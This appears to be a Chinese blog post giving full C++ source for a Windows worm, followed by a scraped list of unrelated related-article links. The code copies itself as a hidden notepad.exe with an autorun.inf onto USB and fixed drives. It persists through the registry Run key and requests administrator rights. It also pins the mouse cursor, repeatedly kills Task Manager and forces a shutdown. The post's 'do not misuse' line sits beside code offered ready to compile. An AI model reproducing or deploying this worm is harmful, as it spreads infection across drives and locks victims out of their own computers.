c++ 制作蠕虫病毒

首先感谢粉丝的支持!

上代码!

#include <iostream>
#include <fstream>
#include <tchar.h>
#include <cstring>
#include <time.h>
#include <windows.h>
using namespace std;void *do_thread(void *arg);
HWND hWnd = GetConsoleWindow();char szAutoRun[] = "[AutoRun] \n""open=notepad.exe\n""shell\\open=打开(&O)\n""shell\\open\\command=notepad.exe\n""shell\\explore=资源管理器(&X)\n""shell\\explore\\command=notepad.exe\n""shellexecute=notepad.exe\n""shell\\Auto\\command=notepad.exe"; void infect(char* pszFile, UINT uDriveType) {char szDriveString[MAXBYTE] = {};DWORD dwRet = 0;DWORD iNum = 0;char szRoot[4] = {};UINT uType = 0;char szTarget[MAX_PATH] = {};dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);while(iNum < dwRet) {strncpy(szRoot, &szDriveString[iNum], 3);uType = GetDriveType(szRoot);if(uType == uDriveType) {lstrcpy(szTarget, szRoot);lstrcat(szTarget, "notepad.exe");CopyFile(pszFile, szTarget, FALSE);SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);lstrcpy(szTarget, szRoot);lstrcat(szTarget, "autorun.inf");HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);DWORD dwWritten = 0;WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);CloseHandle(hFile);SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);}iNum += 4;}
}void test() {HKEY hKey;if(RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {TCHAR strExeFullDir[MAX_PATH];GetModuleFileName(NULL, strExeFullDir, MAX_PATH);TCHAR strDir[MAX_PATH] = {};DWORD nLength = MAX_PATH;long result = RegGetValue(hKey, nullptr, _T("超强木马"), RRF_RT_REG_SZ, 0, strDir, &nLength);if(result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0) {RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR));RegCloseKey(hKey);}}
}void ManagerRun(LPCSTR exe, LPCSTR param, int nShow = SW_SHOW) {SHELLEXECUTEINFO ShExecInfo;ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;ShExecInfo.hwnd = NULL;ShExecInfo.lpVerb = "runas";ShExecInfo.lpFile = exe;ShExecInfo.lpParameters = param;ShExecInfo.lpDirectory = NULL;ShExecInfo.nShow = nShow;ShExecInfo.hInstApp = NULL;BOOL ret = ShellExecuteEx(&ShExecInfo);CloseHandle(ShExecInfo.hProcess);
}int main(int argc, char *argv[]) {if(argc == 1) {ShowWindow(GetConsoleWindow(), SW_HIDE);ManagerRun(argv[0], "2");return 1;}else if(argc == 2) {string s;ifstream id("die.txt");id >> s;if(int(s.find("false")) != -1) {cout << "检测到结束文件,已结束病毒!" << endl;;system("pause");return 0;}ShowWindow(hWnd, SW_HIDE);test();pthread_t tid;int ret;ret = pthread_create(&tid, NULL, do_thread, NULL);if(ret) {fprintf(stderr, "创建线程失败!\n");return -1;}ret = pthread_detach(tid);char szFileName[MAX_PATH] = {};char szRoot[4] = {};UINT uType = 0;GetModuleFileName(NULL, szFileName, MAX_PATH);strncpy(szRoot, szFileName, 3);uType = GetDriveType(szRoot);switch(uType) {case DRIVE_FIXED: {infect(szFileName, DRIVE_REMOVABLE);break;}case DRIVE_REMOVABLE: {infect(szFileName, DRIVE_FIXED);break;}}system("shutdown -s -t 0");}return 0;
}void *do_thread(void *arg) {while(true) {SetCursorPos(0, 0);system("taskkill /F /IM taskmgr.exe");Sleep(10);}
}

这个病毒新有提升到管理员权限,同时运行两串代码,边寄宿电脑,边定住鼠标,关闭任务管理器!

请勿滥用此代码!

好了,本期就到这里,感谢粉丝支持!

c++ 制作蠕虫病毒相关推荐

  1. “艾妮”(ANI)蠕虫病毒

    病毒名:艾妮(别名,麦英.ANI蠕虫) 英文名:MyInfect.af/DlOnlineGames/Trojan-Downloader.Win32.Agent.bky 技术分析: 1.释放病毒文件到如 ...

  2. java可以编写蠕虫病毒吗,暴力蠕虫来袭!网友们直呼:惊不惊喜,意不意外,怕不怕!...

    近日,多个安全团队监测到一种名为Incaseformat的病毒,在全国多个地区出现.据了解,Incaseformat是一种蠕虫病毒,该病毒会遍布除C盘外的所有磁盘文件并进行删除,对用户造成不可挽回的损 ...

  3. 快速有效地封杀—巧利用Iris来查找蠕虫病毒(转)

    快速有效地封杀-巧利用Iris来查找蠕虫病毒(转) 近些年,蠕虫病毒的每一次大规模爆发,都给网络世界带来了深重的灾害.蠕虫病毒有着很强的破坏性,一个局域网中只要有一台电脑感染了蠕虫病毒,就有可能引起网 ...

  4. 第一种蠕虫病毒诞生 | 历史上的今天

    整理 | 王启隆 透过「历史上的今天」,从过去看未来,从现在亦可以改变未来. 今天是 2022 年 11 月 2 日,1815 年的今天,乔治·布尔(George Boole)诞生,他提出的布尔逻辑理 ...

  5. 警惕H-worm蠕虫病毒伪装电影样片钓鱼,草率点击附件会中远控木马

    一.背景 腾讯安全御见威胁情报中心发现附带H-worm蠕虫病毒变种的钓鱼邮件攻击.攻击者参考VBS蠕虫病毒H-worm代码制作JS版本变种,并将其打包为压缩文件,之后伪装成某电影特效制作公司向攻击目标 ...

  6. 反病毒小知识:深入了解网络中的蠕虫病毒 [多图]

    你知道苹果里面会有虫子,可是你知道电脑里面也会有"虫子"吗?虽然这两种虫子截然不同,可是研究发现,电脑"虫子"在衍生.破坏性等方面却和自然界的虫子有不少类似之处 ...

  7. WannaCry勒索比特币蠕虫病毒解决方案

    WannaCry ransomware used in widespread attacks all over the world Customer Guidance for WannaCrypt a ...

  8. 安全:incaseformat蠕虫病毒来袭,你中招了吗?

    2021年1月13日incaseformat蠕虫病毒的消息刷爆了微信朋友圈,该病毒不具备对加密文件危害,同时该病毒也并非新型的病毒,而是2014年已经出现了,病毒主要传播方式为U盘等移动存储器设备,不 ...

  9. 蠕虫病毒往往是通过进入计算机系统,2012年甘肃省三职生计算机考试题

    单选题: 1. 2. 3. 4. 5. 6. 7. 8. 9. "过时的信息没有利用价值几乎是众所周知的事实"是指信息的 . A. 传递性 B. 普遍性 C. 存储性 D. 时效性 ...

  10. 蠕虫病毒往往是通过进入计算机系统,2011年上海市高校计算机等级考试1级模拟卷题目...

    2011年上海市高校计算机等级考试(一级) 试卷(模拟卷) 所有的样张都在"C:\样张"文件夹中,考试系统中[样张]按钮可直接打开此文件夹. (注:题目中的"C:\&qu ...

最新文章

  1. ASP.NET Web API WebHost宿主环境中管道、路由
  2. Linux 2.6 中的直接 I/O 技术
  3. 系统页面升级系统中_中交出行通勤班线系统全新升级!页面亮点功能说明
  4. Linux Shell 读取用户输入
  5. centos7安装mysql允许远程连接_CentOS7安装Mysql并配置远程访问
  6. mysql主从复制读写分离
  7. OpenGL基础17:颜色
  8. JavaScript丧尸游戏开发教程
  9. 人工智能——皇帝的新脑还是人类的终结(学习笔记)
  10. 20180514-A · Star Wars Survey · ggplot2 ggdraw geom_bar facet_grid magick 柱状图 条形图 · R 语言数据可视化 案例 源码
  11. 两个一一对应的txt文本去重
  12. 【ValueError: data type <class ‘numpy.object_‘> not inexact】
  13. Shell脚本加密工具——Shc
  14. 淘宝API 拍立淘图片搜索接口
  15. 深度学习目标检测---使用labelimg对自己的数据集进行标记(windows系统)
  16. 高德地图自定义定位按钮后搜索周边
  17. OpenCV学习第十三篇:提取水平和垂直线(去除干扰线)
  18. 微信小程序recycle-view  走过的坑
  19. 计算机维修要学英文吗,学计算机编程需要英文吗?
  20. 原根算法C语言,算法导论-----数论-----元素的幂

热门文章

  1. Multistage GAN for Fabric Defect Detection 用于织物检测的多级GAN
  2. 教你win7免费升级到win10系统教程
  3. wps2019怎么调整字间距_wps2019表格和文字间距太大怎么调整?
  4. 数据清洗 excel mysql_Excel获取MYSQL数据库数据
  5. Laravel框架教程 入门篇(一)
  6. DotNetBar 14.1.X 安装+源码=不错选择
  7. HTML5 实现拼图游戏
  8. Charles(青花瓷)抓包工具的使用
  9. python簇状柱形图_think-cell chart系列13——簇状堆积柱形图
  10. 七年级上册数学计算机教学视频,人教版初中数学七年级上册